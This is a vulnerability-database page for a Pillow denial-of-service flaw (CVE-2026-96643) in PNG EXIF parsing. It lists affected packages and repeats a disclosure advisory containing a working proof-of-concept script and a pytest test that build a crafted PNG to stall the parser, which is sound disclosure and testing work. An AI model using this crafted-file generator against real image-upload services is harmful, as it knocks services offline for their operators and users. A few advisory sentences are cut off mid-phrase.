Every CVESearch/Get API key

CVE-2026-96643

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

7.1 HighFix available

CVE-2026-96643 is a high vulnerability (CVSS 7.1) in Python Pillow, published October 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.37%, the 31st percentile. Fixed in pillow 13.0.0.

What does this mean?
Severity
7.1 HighCVSS 4.0, CVE List
Exploit chance
0.37%EPSS, 31st percentile
Exploitation
None knownNot on CISA’s or ENISA’s lists
Fixed in
13.0.0pillow +21 more

Description

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.37%Unchanged since Oct 22, 2026
90%50%10%1%

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pillow
PyPI
11.0.0 up to 13.0.0
13.0.0
pillow
Bitnami
11.0.0 up to 13.0.0
13.0.0
pillow
TuxCare:PyPI
From an advisory covering 6 CVEs
11.3.0 up to 11.3.0.post9+tuxcare, plus listed versions
11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare11.3.0.post5+tuxcare11.3.0.post6+tuxcare11.3.0.post7+tuxcare11.3.0.post8+tuxcare
11.3.0.post9+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 6 CVEs
11.2.1 up to 11.2.1.post11+tuxcare, plus listed versions
11.2.1.post1+tuxcare11.2.1.post10+tuxcare11.2.1.post2+tuxcare11.2.1.post3+tuxcare11.2.1.post4+tuxcare
Show 5 moreShow less
11.2.1.post5+tuxcare11.2.1.post6+tuxcare11.2.1.post7+tuxcare11.2.1.post8+tuxcare11.2.1.post9+tuxcare
11.2.1.post11+tuxcare
pillow
Debian:12
All versions, plus listed versions
10.0.0-110.1.0-110.2.0-110.3.0-110.3.0-2
Show 19 moreShow less
10.4.0-110.4.0-1.111.1.0-111.1.0-211.1.0-311.1.0-411.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-19.4.0-1.19.4.0-1.1+deb12u19.5.0-1
None known
pillow
Debian:13
All versions, plus listed versions
11.1.0-511.1.0-5+deb13u111.1.0-5+deb13u211.1.0-5+deb13u311.1.0-5+deb13u4
Show 9 moreShow less
11.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1
None known
pillow
Debian:14
All versions, plus listed versions
11.1.0-511.2.1-111.3.0-112.0.0-112.1.0-1
Show 5 moreShow less
12.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1
None known
pillow
PyPI
11.0.0 up to 13.0.0, plus listed versions
11.1.011.2.111.3.012.0.012.1.012.1.112.2.012.3.0
13.0.0
python-Pillow
SUSE:Linux Enterprise Server 16.0
From an advisory covering 39 CVEs
before 11.3.0-160000.9.1
11.3.0-160000.9.1
python-Pillow
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 39 CVEs
before 11.3.0-160000.9.1
11.3.0-160000.9.1
Show 12 moreShow less
Affected packages
PackageAffectedFixed
pillow-python2
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2
None known
pillow
Ubuntu:26.10
before 12.3.0-1ubuntu2, plus listed versions
12.1.1-2ubuntu112.3.0-1ubuntu1
12.3.0-1ubuntu2
pillow
Ubuntu:26.04:LTS
before 12.1.1-2ubuntu1.5, plus listed versions
11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu1
Show 4 moreShow less
12.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.312.1.1-2ubuntu1.4
12.1.1-2ubuntu1.5
pillow
Ubuntu:Pro:14.04:LTS
From an advisory covering 39 CVEs
before 2.3.0-1ubuntu3.4+esm6, plus listed versions
2.2.1-1ubuntu22.2.1-2ubuntu12.2.1-3ubuntu22.2.1-3ubuntu32.2.1-3ubuntu4
Show 12 moreShow less
2.2.1-3ubuntu62.3.0-1ubuntu12.3.0-1ubuntu22.3.0-1ubuntu32.3.0-1ubuntu3.22.3.0-1ubuntu3.32.3.0-1ubuntu3.42.3.0-1ubuntu3.4+esm12.3.0-1ubuntu3.4+esm22.3.0-1ubuntu3.4+esm32.3.0-1ubuntu3.4+esm42.3.0-1ubuntu3.4+esm5
2.3.0-1ubuntu3.4+esm6
pillow
Ubuntu:Pro:16.04:LTS
From an advisory covering 39 CVEs
before 3.1.2-0ubuntu1.6+esm4, plus listed versions
2.9.0-13.0.0-13.0.0-1build13.1.0-13.1.1-1
Show 9 moreShow less
3.1.2-0ubuntu13.1.2-0ubuntu1.13.1.2-0ubuntu1.33.1.2-0ubuntu1.43.1.2-0ubuntu1.53.1.2-0ubuntu1.63.1.2-0ubuntu1.6+esm13.1.2-0ubuntu1.6+esm23.1.2-0ubuntu1.6+esm3
3.1.2-0ubuntu1.6+esm4
pillow
Ubuntu:Pro:18.04:LTS
From an advisory covering 39 CVEs
before 5.1.0-1ubuntu0.8+esm3, plus listed versions
4.1.1-3build24.3.0-2ubuntu15.0.0-15.1.0-15.1.0-1ubuntu0.2
Show 8 moreShow less
5.1.0-1ubuntu0.35.1.0-1ubuntu0.45.1.0-1ubuntu0.55.1.0-1ubuntu0.65.1.0-1ubuntu0.75.1.0-1ubuntu0.85.1.0-1ubuntu0.8+esm15.1.0-1ubuntu0.8+esm2
5.1.0-1ubuntu0.8+esm3
pillow
Ubuntu:Pro:20.04:LTS
From an advisory covering 39 CVEs
before 7.0.0-4ubuntu0.9+esm2, plus listed versions
6.1.0-16.1.0-1build16.2.1-27.0.0-47.0.0-4build1
Show 10 moreShow less
7.0.0-4ubuntu0.17.0.0-4ubuntu0.27.0.0-4ubuntu0.37.0.0-4ubuntu0.47.0.0-4ubuntu0.57.0.0-4ubuntu0.67.0.0-4ubuntu0.77.0.0-4ubuntu0.87.0.0-4ubuntu0.97.0.0-4ubuntu0.9+esm1
7.0.0-4ubuntu0.9+esm2
pillow
Ubuntu:22.04:LTS
From an advisory covering 39 CVEs
before 9.0.1-1ubuntu0.7, plus listed versions
8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1
Show 5 moreShow less
9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.59.0.1-1ubuntu0.6
9.0.1-1ubuntu0.7
pillow
Ubuntu:24.04:LTS
From an advisory covering 39 CVEs
before 10.2.0-1ubuntu1.5, plus listed versions
10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.310.2.0-1ubuntu1.4
10.2.0-1ubuntu1.5
pillow
Ubuntu:26.10
From an advisory covering 39 CVEs
before 12.3.0-1ubuntu2, plus listed versions
12.1.1-2ubuntu112.3.0-1ubuntu1
12.3.0-1ubuntu2
pillow
Ubuntu:26.04:LTS
From an advisory covering 39 CVEs
before 12.1.1-2ubuntu1.5, plus listed versions
11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu1
Show 4 moreShow less
12.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.312.1.1-2ubuntu1.4
12.1.1-2ubuntu1.5
python-Pillow
openSUSE:Leap 16.0
From an advisory covering 39 CVEs
before 11.3.0-160000.9.1
11.3.0-160000.9.1

What each source reports

CVE List Score used7.1

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Record
CVE-2026-96643
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-407
Updated
2026-11-02
EUVDEUVD-2026-1075647.1

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Record
EUVD-2026-107564
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-g4qv-2jxx-769h7.1

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

Summary

A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

Details

Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

while data and data.startswith(b"Exif\x00\x00"):
    data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

Steps to reproduce

This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

import time
from io import BytesIO
from PIL import Image, PngImagePlugin

def chunk(cid, *data):
    fp = BytesIO()
    PngImagePlugin.putchunk(fp, cid, *data)
    return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")

marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND

start = time.time()
with Image.open(BytesIO(data)) as im:
    im.getexif()
print("took", time.time() - start, "seconds")

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin

def chunk(cid, *data):
    fp = BytesIO()
    PngImagePlugin.putchunk(fp, cid, *data)
    return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")

@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
    marker = b"Exif\x00\x00"
    exif_chunk = chunk(b"eXIf", marker * 300_000)
    data = MAGIC + IHDR + exif_chunk + IDAT + IEND
    with Image.open(BytesIO(data)) as im:
        im.getexif()

Impact

  • Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
  • Confidentiality: none.
  • Integrity: none.
  • This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
Record
GHSA-g4qv-2jxx-769h
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-407
Updated
2026-11-02
NVD7.1

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Record
CVE-2026-96643
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-407
Updated
2026-11-02
OSV7.1

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Record
CVE-2026-96643
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-407
Updated
2026-11-11
OSVDEBIAN-CVE-2026-966436.5

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Record
DEBIAN-CVE-2026-96643
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 13 moreShow less
OSVGHSA-g4qv-2jxx-769h7.1

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

Summary

A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

Details

Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

while data and data.startswith(b"Exif\x00\x00"):
    data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

Steps to reproduce

This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

import time
from io import BytesIO
from PIL import Image, PngImagePlugin

def chunk(cid, *data):
    fp = BytesIO()
    PngImagePlugin.putchunk(fp, cid, *data)
    return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")

marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND

start = time.time()
with Image.open(BytesIO(data)) as im:
    im.getexif()
print("took", time.time() - start, "seconds")

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin

def chunk(cid, *data):
    fp = BytesIO()
    PngImagePlugin.putchunk(fp, cid, *data)
    return fp.getvalue()

MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")

@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
    marker = b"Exif\x00\x00"
    exif_chunk = chunk(b"eXIf", marker * 300_000)
    data = MAGIC + IHDR + exif_chunk + IDAT + IEND
    with Image.open(BytesIO(data)) as im:
        im.getexif()

Impact

  • Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
  • Confidentiality: none.
  • Integrity: none.
  • This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
Record
GHSA-g4qv-2jxx-769h
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-407
Updated
2026-11-02
OSVPYSEC-2026-43426.5

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Record
PYSEC-2026-4342
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:928618.8

Red Hat Security Advisory: Satellite 6.19 security update

Record
RHSA-2026:92861
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-14
OSVRHSA-2026:956559.9

Red Hat Security Advisory: Satellite 6.16 EUS security update

Record
RHSA-2026:95655
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-14
OSVRHSA-2026:956569.9

Red Hat Security Advisory: Satellite 6.17 security update

Record
RHSA-2026:95656
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-14
OSVRHSA-2026:956579.8

Red Hat Security Advisory: Satellite 6.18 security update

Record
RHSA-2026:95657
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-14
OSVUBUNTU-CVE-2026-966437.1

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Record
UBUNTU-CVE-2026-96643
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-13
OSVBIT-pillow-2026-96643No score

Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

Pillow is a Python imaging library. From 11.0.0 until 13.0.0, Exif.load() in src/PIL/Image.py repeatedly slices the remaining EXIF data while it begins with the six-byte Exif header. src/PIL/PngImagePlugin.py accepts an uncapped PNG eXIf chunk, so a file filled with repeated headers causes a new shrinking copy on every iteration and quadratic CPU work. The condition is reachable through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(), including common photo-upload rotation workflows. This issue is fixed in version 13.0.0.

Record
BIT-pillow-2026-96643
Updated
2026-11-02
OSVCLSA-2026-1792743656No score

TuxCare security update for pillow (6 CVEs)

TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.3.0.post9+tuxcare.

Record
CLSA-2026-1792743656
Updated
2026-11-02
OSVCLSA-2026-1792752131No score

TuxCare security update for pillow (6 CVEs)

TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.2.1.post11+tuxcare.

Record
CLSA-2026-1792752131
Updated
2026-11-02
OSVopenSUSE-SU-2026:22246-1No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues:

  • CVE-2026-96636: decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (bsc#1286802).
  • CVE-2026-96637: decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (bsc#1286801).
  • CVE-2026-96638: BMP RLE decoder memory-amplification DoS via unbounded delta escape/absolute mode (bsc#1286800).
  • CVE-2026-96639: multi-frame loaders can reuse stale native image storage after mode transitions (bsc#1286799).
  • CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
  • CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
  • CVE-2026-96642: TarIO negative size field causes infinite CPU-spin loop (bsc#1286796).
  • CVE-2026-96643: PNG eXIf chunk makes EXIF parsing run in quadratic time (bsc#1286795).
  • CVE-2026-96778: heap buffer overflow writing JPEG comment after ICC profile fills buffer (bsc#1286793).
  • CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
  • CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
  • CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
  • CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
  • CVE-2026-112394: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).
  • CVE-2026-112395: Pillow tiled-TIFF decoder reads past tile buffer in copy4 (bsc#1286312).
  • CVE-2026-112396: heap use-after-free when encoding TIFF to an in-memory buffer (bsc#1286313).
  • CVE-2026-112397: out-of-bounds access in _imagingmorph on a zero-width image (bsc#1286314).
  • CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
  • CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
  • CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
  • CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
  • CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
  • CVE-2026-112403: heap buffer overflow in ImagingJpegDecode allows for code execution (bsc#1286405).
  • CVE-2026-112404: Denial of Service via out-of-bounds read in TIFF decoding (bsc#1286388).
  • CVE-2026-112405: NULL pointer dereference in Image.merge via an unvalidated band 0 (bsc#1286404).
  • CVE-2026-112406: infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (bsc#1286403).
  • CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
  • CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
  • CVE-2026-112893: Denial of Service via invalid pointer free during font rendering (bsc#1286392).
  • CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
  • CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
  • CVE-2026-112896: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).
  • CVE-2026-112897: TiffDecode returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).
  • CVE-2026-112898: Image.quantize() with empty palette can leak uninitialized stack memory (bsc#1286399).
  • CVE-2026-112899: EPS load(scale) lets Ghostscript render past the decompression bomb limit (bsc#1286489).
  • CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
  • CVE-2026-112901: ReDoS in XbmImagePlugin can be triggered by 512-byte file (bsc#1286396).
  • CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).
  • CVE-2026-114501: Arrow export leaks stale heap…
Record
openSUSE-SU-2026:22246-1
Updated
2026-11-11
OSVSUSE-SU-2026:24656-1No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues:

  • CVE-2026-96636: decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (bsc#1286802).
  • CVE-2026-96637: decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (bsc#1286801).
  • CVE-2026-96638: BMP RLE decoder memory-amplification DoS via unbounded delta escape/absolute mode (bsc#1286800).
  • CVE-2026-96639: multi-frame loaders can reuse stale native image storage after mode transitions (bsc#1286799).
  • CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
  • CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
  • CVE-2026-96642: TarIO negative size field causes infinite CPU-spin loop (bsc#1286796).
  • CVE-2026-96643: PNG eXIf chunk makes EXIF parsing run in quadratic time (bsc#1286795).
  • CVE-2026-96778: heap buffer overflow writing JPEG comment after ICC profile fills buffer (bsc#1286793).
  • CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
  • CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
  • CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
  • CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
  • CVE-2026-112394: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).
  • CVE-2026-112395: Pillow tiled-TIFF decoder reads past tile buffer in copy4 (bsc#1286312).
  • CVE-2026-112396: heap use-after-free when encoding TIFF to an in-memory buffer (bsc#1286313).
  • CVE-2026-112397: out-of-bounds access in _imagingmorph on a zero-width image (bsc#1286314).
  • CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
  • CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
  • CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
  • CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
  • CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
  • CVE-2026-112403: heap buffer overflow in ImagingJpegDecode allows for code execution (bsc#1286405).
  • CVE-2026-112404: Denial of Service via out-of-bounds read in TIFF decoding (bsc#1286388).
  • CVE-2026-112405: NULL pointer dereference in Image.merge via an unvalidated band 0 (bsc#1286404).
  • CVE-2026-112406: infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (bsc#1286403).
  • CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
  • CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
  • CVE-2026-112893: Denial of Service via invalid pointer free during font rendering (bsc#1286392).
  • CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
  • CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
  • CVE-2026-112896: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).
  • CVE-2026-112897: TiffDecode returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).
  • CVE-2026-112898: Image.quantize() with empty palette can leak uninitialized stack memory (bsc#1286399).
  • CVE-2026-112899: EPS load(scale) lets Ghostscript render past the decompression bomb limit (bsc#1286489).
  • CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
  • CVE-2026-112901: ReDoS in XbmImagePlugin can be triggered by 512-byte file (bsc#1286396).
  • CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).
  • CVE-2026-114501: Arrow export leaks stale heap…
Record
SUSE-SU-2026:24656-1
Updated
2026-11-12
OSVUSN-9064-1No score

pillow vulnerabilities

